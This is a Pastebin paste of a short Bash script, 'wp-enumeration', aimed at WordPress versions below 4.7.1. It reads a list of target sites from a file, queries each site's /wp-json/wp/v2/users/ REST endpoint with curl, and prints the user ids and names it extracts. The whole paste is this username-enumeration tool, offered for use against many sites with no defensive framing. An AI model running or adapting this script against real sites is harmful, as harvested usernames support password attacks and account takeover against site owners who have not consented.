Advertisement
widhisec

wp-enumeration

Mar 22nd, 2020
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.76 KB | None | 0 0
  1. #!/bin/bash
  2. # zsecc0de-crew.id
  3. # WordPress < 4.7.1
  4. function aso(){
  5.                 local i b mm mber zos
  6.                 i=$(curl -s "${x}/wp-json/wp/v2/users/")
  7.                 b=$(echo -e "${i}"|grep -Po '(?<="id":)[^,"]*')
  8.                 mm=$(echo -e "${i}"|grep -Po '"name":"\K[^,"]*'|tr -d '[:blank:]')
  9.                for jos in "$mm";do
  10.                         mber=$(echo $b)
  11.                         zos=$(echo $jos)
  12.                         echo -e "id => $mber"
  13.                         echo "----------------------"
  14.                         echo -e "$users => $zos"
  15.                         echo -e "-------------------"
  16.              done
  17. }
  18. printf "
  19. +----------------------+
  20. | Cod3r widhisec       |
  21. | Username Enumeration |
  22. +----------------------+
  23. "
  24. for x in $(cat lst);do
  25. aso
  26. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement